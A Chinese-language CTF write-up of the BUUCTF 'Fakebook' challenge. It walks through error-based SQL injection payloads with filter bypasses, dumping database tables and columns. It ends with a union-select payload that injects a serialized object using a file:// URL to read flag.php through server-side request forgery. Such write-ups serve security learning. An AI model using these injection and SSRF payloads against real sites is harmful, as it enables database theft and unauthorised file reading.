buuctf [网鼎杯 2018]Fakebook 记录

首先注册一个账号进去,再查看账户信息,注意url

http://2924ddd2-5831-448c-9833-d0aaba7a1fbe.node3.buuoj.cn/view.php?no=1

可能存在sql注入,利用常规的探测,发现他是整形注入,一般的注入行不通,双写绕过不行,试试报错注入,
playload:1 and extractvalue(1,concat('~',(select(group_concat(database())))))%23
buuctf [网鼎杯 2018]Fakebook 记录_第1张图片
这边需要注意,0x7e已经被过滤掉了,所以我们用‘~’代替,其实0x7e就是指那个符号,这边其实没过滤空格,但是为了省事,万一过滤了空格就很麻烦,所以直接用括号代替了空格,接着查表

playload:1 and extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='fakebook')))%23
buuctf [网鼎杯 2018]Fakebook 记录_第2张图片
查字段1 and extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))%23
buuctf [网鼎杯 2018]Fakebook 记录_第3张图片
直接查passwd字段
playload:1 and extractvalue(1,concat('~',(select(group_concat(right(passwd,32)))from(fakebook.users))))%23
查到这我傻了,这就是我刚刚注册的信息啊,再查查data
利用left和right函数进行拼接发现是反序列化

O:8:“UserInfo”:3:{s:4:“name”;s:“123456”;s:3:“age”;i:18;s:4:“blog”;s:5:“5.com”;}

没思路了。看了大佬的web,居然要用到后台扫描工具,看来以后得学学了,目前对工具的使用不是很熟练。
发现隐藏的robots.txt,其中有源码泄漏(/user.php.bak)
然后就是代码审计了,具体过程在此

思路
利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件。大佬用御剑扫出来了,不知道为啥我扫不出

利用序列化:
buuctf [网鼎杯 2018]Fakebook 记录_第4张图片
playlod:0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23

居然还有这种绕过技巧,
buuctf [网鼎杯 2018]Fakebook 记录_第5张图片
接着读取文件即可。

附上大佬题解

你可能感兴趣的:(buuctf [网鼎杯 2018]Fakebook 记录)